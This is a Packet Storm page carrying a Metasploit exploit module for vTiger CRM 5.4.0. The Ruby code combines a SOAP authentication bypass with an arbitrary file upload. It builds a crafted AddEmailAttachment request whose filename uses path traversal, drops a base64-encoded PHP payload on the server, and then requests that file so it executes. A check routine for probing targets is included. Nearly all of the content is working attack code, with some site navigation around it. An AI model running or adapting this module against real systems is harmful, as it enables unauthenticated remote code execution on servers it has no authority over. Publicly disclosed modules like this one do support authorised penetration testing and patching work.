what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload

vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload
Posted Jan 7, 2014
Authored by EgiX, juan vazquez | Site metasploit.com

vTiger CRM allows an user to bypass authentication when requesting SOAP services. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP service. By combining both vulnerabilities an attacker can upload and execute PHP code. This Metasploit module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu 10.04 and Windows 2003 SP2.

tags | exploit, arbitrary, php, vulnerability, file upload
systems | linux, windows, ubuntu
advisories | CVE-2013-3214, CVE-2013-3215, OSVDB-95902, OSVDB-95903
SHA-256 | 096231674c8f8b909aa615a43b74ff7759a1a02e9d084e43958295c8fdccd15f

vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include REXML
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
'Description' => %q{
vTiger CRM allows an user to bypass authentication when requesting SOAP services.
In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
service. By combining both vulnerabilities an attacker can upload and execute PHP
code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
10.04 and Windows 2003 SP2.
},
'Author' =>
[
'Egidio Romano', # Vulnerability discovery
'juan vazquez' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3214' ],
[ 'CVE', '2013-3215' ],
[ 'OSVDB', '95902' ],
[ 'OSVDB', '95903' ],
[ 'BID', '61558' ],
[ 'BID', '61559' ],
[ 'EDB', '27279' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
# Arbitrary big number. The payload is sent base64 encoded
# into a POST SOAP request
'Space' => 262144, # 256k
'DisableNops' => true
},
'Targets' =>
[
[ 'vTigerCRM v5.4.0', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2013'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/'])
], self.class)
end

def check
test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4)))
res = send_soap_request(test_one)

unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/
return Exploit::CheckCode::Unknown
end

test_two = check_email_soap("admin")
res = send_soap_request(test_two)

if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
file_name = rand_text_alpha(rand(10)+6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|

soap = add_attachment_soap(file_name, php)
res = send_soap_request(soap)

print_status("#{peer} - Uploading payload...")
if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/
print_good("#{peer} - Upload successfully uploaded")
register_files_for_cleanup(file_name)
else
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0)
end

def add_attachment_soap(file_name, file_data)
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:AddEmailAttachment",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("emailid", {'xsi:type' => 'xsd:string'})
crm.add_element("filedata", {'xsi:type' => 'xsd:string'})
crm.add_element("filename", {'xsi:type' => 'xsd:string'})
crm.add_element("filesize", {'xsi:type' => 'xsd:string'})
crm.add_element("filetype", {'xsi:type' => 'xsd:string'})
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['emailid'].text = rand_text_alpha(4+rand(4))
crm.elements['filedata'].text = "MSF_PAYLOAD"
crm.elements['filename'].text = "MSF_FILENAME"
crm.elements['filesize'].text = file_data.length.to_s
crm.elements['filetype'].text = "php"
crm.elements['username'].text = rand_text_alpha(4+rand(4))

xml_string = xml.to_s
xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data))
xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}")

return xml_string
end

def check_email_soap(user_name = "", session = "")
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:CheckEmailPermission",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['username'].text = user_name
crm.elements['session'].text = session

xml.to_s
end

def send_soap_request(soap_data)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => soap_data
})

return res
end

end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close